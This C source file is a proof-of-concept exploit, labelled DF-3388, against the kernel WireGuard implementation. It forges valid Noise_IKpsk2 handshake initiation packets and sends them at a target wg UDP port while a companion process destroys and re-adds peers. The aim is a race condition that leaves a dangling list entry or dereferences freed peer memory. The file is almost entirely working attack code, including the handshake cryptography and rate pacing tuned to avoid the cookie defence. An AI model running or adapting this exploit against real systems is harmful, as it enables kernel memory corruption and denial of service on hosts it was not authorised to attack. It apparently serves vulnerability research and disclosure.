/*
 * DF-3388 PoC - WireGuard handshake initiation forger.
 *
 * Forges valid Noise_IKpsk2 handshake initiation messages for a set of
 * configured peer identities (we own the peer private keys) and blasts
 * them at the target wg interface's UDP port, while a separate churner
 * process repeatedly destroys and re-adds those same peers via SIOCSWG.
 *
 * The goal is to hit the window where noise_consume_initiation() has
 * already passed noise_remote_lookup() (holds a remote ref) but has not
 * yet taken r_handshake_lock, while wg_peer_destroy() ->
 * noise_remote_free() -> noise_remote_handshake_clear() runs to
 * completion on another CPU.  The consume path then:
 *   - re-inserts &r->r_index into l_index_hash after handshake_clear(),
 *     leaving a dangling list entry when the remote's last ref drops, or
 *   - dereferences the already-kfree()d wg_peer via noise_remote_arg().
 *
 * Build: see build.sh.  Run as any user (traffic source is unauthenticated
 * in the sense that it needs no socket privileges; the peer keys are
 * known because we configured them).
 */
#include <sys/types.h>
#include <sys/endian.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <crypto/blake2/blake2s.h>
#include <crypto/curve25519/curve25519.h>

/* from chachapoly_user.c */
void cp_encrypt(uint8_t *, const uint8_t *, size_t,
		const uint8_t *, size_t, const uint8_t[12], const uint8_t[32]);

#define NOISE_PUBLIC_KEY_LEN	32
#define NOISE_SYMMETRIC_KEY_LEN 32
#define NOISE_AUTHTAG_LEN	16
#define NOISE_HASH_LEN		32
#define NOISE_TIMESTAMP_LEN	12

#define NPEERS	32

/* ---------------- noise functions, mirrored from sys/net/wg/wg_noise.c -- */

static void
noise_hmac(uint8_t *out, const uint8_t *in, const uint8_t *key,
	   size_t outlen, size_t inlen, size_t keylen)
{
	struct blake2s_state blake;
	uint8_t x_key[64] __aligned(__alignof__(uint32_t));
	uint8_t i_hash[32] __aligned(__alignof__(uint32_t));
	int i;

	memset(x_key, 0, sizeof(x_key));
	if (keylen > 64) {
		blake2s_init(&blake, 32);
		blake2s_update(&blake, key, keylen);
		blake2s_final(&blake, x_key);
	} else {
		memcpy(x_key, key, keylen);
	}
	for (i = 0; i < 64; ++i)
		x_key[i] ^= 0x36;
	blake2s_init(&blake, 32);
	blake2s_update(&blake, x_key, 64);
	blake2s_update(&blake, in, inlen);
	blake2s_final(&blake, i_hash);
	for (i = 0; i < 64; ++i)
		x_key[i] ^= 0x5c ^ 0x36;
	blake2s_init(&blake, 32);
	blake2s_update(&blake, x_key, 64);
	blake2s_update(&blake, i_hash, 32);
	blake2s_final(&blake, i_hash);
	memcpy(out, i_hash, outlen);
	explicit_bzero(x_key, sizeof(x_key));
	explicit_bzero(i_hash, sizeof(i_hash));
}

static void
noise_kdf(uint8_t *a, uint8_t *b, const uint8_t *x,
	  size_t a_len, size_t b_len, size_t x_len,
	  const uint8_t ck[NOISE_HASH_LEN])
{
	uint8_t out[32 + 1];
	uint8_t sec[32];

	noise_hmac(sec, x, ck, 32, x_len, NOISE_HASH_LEN);

	out[0] = 1;
	noise_hmac(out, out, sec, 32, 1, 32);
	memcpy(a, out, a_len);

	if (b == NULL || b_len == 0) {
		explicit_bzero(sec, sizeof(sec));
		explicit_bzero(out, sizeof(out));
		return;
	}
	out[32] = 2;
	noise_hmac(out, out, sec, 32, 33, 32);
	memcpy(b, out, b_len);

	explicit_bzero(sec, sizeof(sec));
	explicit_bzero(out, sizeof(out));
}

static void
noise_mix_hash(uint8_t hash[NOISE_HASH_LEN], const uint8_t *src, size_t len)
{
	struct blake2s_state blake;

	blake2s_init(&blake, NOISE_HASH_LEN);
	blake2s_update(&blake, hash, NOISE_HASH_LEN);
	blake2s_update(&blake, src, len);
	blake2s_final(&blake, hash);
}

static void
noise_param_init(uint8_t ck[NOISE_HASH_LEN], uint8_t hash[NOISE_HASH_LEN],
		 const uint8_t s[NOISE_PUBLIC_KEY_LEN])
{
	static const char handshake_name[] = "Noise_IKpsk2_25519_ChaChaPoly_BLAKE2s";
	static const char identifier_name[] = "WireGuard v1 zx2c4 Jason@zx2c4.com";
	struct blake2s_state blake;

	blake2s(ck, handshake_name, NULL,
		NOISE_HASH_LEN, sizeof(handshake_name) - 1, 0);
	blake2s_init(&blake, NOISE_HASH_LEN);
	blake2s_update(&blake, ck, NOISE_HASH_LEN);
	blake2s_update(&blake, identifier_name, sizeof(identifier_name) - 1);
	blake2s_final(&blake, hash);

	noise_mix_hash(hash, s, NOISE_PUBLIC_KEY_LEN);
}

static void
noise_msg_encrypt(uint8_t *dst, const uint8_t *src, size_t src_len,
		  uint8_t key[NOISE_SYMMETRIC_KEY_LEN],
		  uint8_t hash[NOISE_HASH_LEN])
{
	static const uint8_t nonce[12] = { 0 };

	cp_encrypt(dst, src, src_len, hash, NOISE_HASH_LEN, nonce, key);
	noise_mix_hash(hash, dst, src_len + NOISE_AUTHTAG_LEN);
}

static void
noise_msg_ephemeral(uint8_t ck[NOISE_HASH_LEN], uint8_t hash[NOISE_HASH_LEN],
		    const uint8_t src[NOISE_PUBLIC_KEY_LEN])
{
	noise_mix_hash(hash, src, NOISE_PUBLIC_KEY_LEN);
	noise_kdf(ck, NULL, src, NOISE_HASH_LEN, 0, NOISE_PUBLIC_KEY_LEN, ck);
}

/* ------------------------------------------------------------------ */

struct wg_pkt_initiation {
	uint32_t	t;		/* 1 */
	uint32_t	s_idx;
	uint8_t		ue[32];
	uint8_t		es[32 + 16];
	uint8_t		ets[12 + 16];
	uint8_t		mac1[16];
	uint8_t		mac2[16];
};

struct peer_key {
	uint8_t priv[32];	/* clamped */
	uint8_t pub[32];
};

static struct peer_key peers[NPEERS];
static uint8_t resp_pub[32];	/* wg0's public key (from keyfile) */
static uint64_t ts_counter;
static const uint8_t g_basepoint[32] = { 9 };

static void
clamp(uint8_t *k)
{
	k[0] &= 248;
	k[31] &= 127;
	k[31] |= 64;
}

static void
randbuf(uint8_t *p, size_t n)
{
	size_t i;
	for (i = 0; i < n; i++)
		p[i] = (uint8_t)(random() & 0xff);
}

static void
tai64n(uint8_t out[12], uint64_t ctr)
{
	uint64_t sec = htobe64(0x400000000000000aULL + 0x100000000ULL + ctr);
	uint32_t nsec = htobe32((uint32_t)(ctr * 1000));
	memcpy(out, &sec, 8);
	memcpy(out + 8, &nsec, 4);
}

static void
forge(struct peer_key *pk, struct wg_pkt_initiation *pkt)
{
	uint8_t ck[32], hash[32], key[32], epriv[32], dh[32], ts[12];
	struct blake2s_state blake;
	uint8_t mac1_key[32];

	memset(pkt, 0, sizeof(*pkt));
	pkt->t = htole32(1);
	pkt->s_idx = (uint32_t)random();

	/* param_init uses the RESPONDER's public key */
	noise_param_init(ck, hash, resp_pub);

	/* e */
	randbuf(epriv, 32);
	clamp(epriv);
	curve25519(pkt->ue, epriv, g_basepoint);
	noise_msg_ephemeral(ck, hash, pkt->ue);

	/* es: DH(e, responder_pub) */
	curve25519(dh, epriv, resp_pub);
	noise_kdf(ck, key, dh, 32, 32, 32, ck);
	noise_msg_encrypt(pkt->es, pk->pub, 32, key, hash);

	/* ss: DH(my_static_priv, responder_pub) */
	curve25519(dh, pk->priv, resp_pub);
	noise_kdf(ck, key, dh, 32, 32, 32, ck);
	ts_counter++;
	tai64n(ts, ts_counter);
	noise_msg_encrypt(pkt->ets, ts, 12, key, hash);

	/* MAC1 = blake2s(keyed with HASH("mac1----" || responder_pub)) */
	blake2s_init(&blake, 32);
	blake2s_update(&blake, "mac1----", 8);
	blake2s_update(&blake, resp_pub, 32);
	blake2s_final(&blake, mac1_key);

	blake2s_init_key(&blake, 16, mac1_key, 32);
	blake2s_update(&blake, (uint8_t *)pkt, sizeof(*pkt) - 32);
	blake2s_final(&blake, pkt->mac1);
	/* mac2 left zero: fine while not underload */
}

int
main(int argc, char **argv)
{
	const char *keyfile = argc > 3 ? argv[3] : "/tmp/wgkeys.bin";
	int port = argc > 2 ? atoi(argv[2]) : 51820;
	const char *dst = argc > 1 ? argv[1] : "127.0.0.1";
	FILE *f;
	struct wg_pkt_initiation pkt;
	struct sockaddr_in sin;
	int s, i, n = 0;
	unsigned long sent = 0;
	time_t last;

	srandom(time(NULL) ^ getpid());

	f = fopen(keyfile, "rb");
	if (f == NULL) {
		perror("keyfile");
		return 1;
	}
	if (fread(resp_pub, 32, 1, f) != 1) {
		fprintf(stderr, "short keyfile\n");
		return 1;
	}
	for (i = 0; i < NPEERS; i++) {
		if (fread(peers[i].priv, 32, 1, f) != 1) {
			fprintf(stderr, "short keyfile (peers)\n");
			return 1;
		}
		clamp(peers[i].priv);
		curve25519(peers[i].pub, peers[i].priv, g_basepoint);
	}
	fclose(f);

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return 1;
	}
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(port);
	inet_pton(AF_INET, dst, &sin.sin_addr);

	/* drain any responses so rcvbuf never fills */
	{
		int one = 1;
		setsockopt(s, SOL_SOCKET, SO_RCVBUF, &one, sizeof(one));
	}

	last = time(NULL);
	for (;;) {
		for (i = 0; i < NPEERS; i++) {
			forge(&peers[i], &pkt);
			sendto(s, &pkt, sizeof(pkt), 0,
			       (struct sockaddr *)&sin, sizeof(sin));
			sent++;
			/*
			 * Pace below the wg underload threshold
			 * (handshake queue >= 512 triggers cookie mode,
			 * which bounces every initiation before
			 * noise_consume_initiation() and kills the race).
			 */
			usleep(3000);	/* ~330 pps */
		}
		n++;
		if (time(NULL) != last) {
			last = time(NULL);
			printf("rounds=%d sent=%lu\n", n, sent);
			fflush(stdout);
			n = 0;
		}
	}
}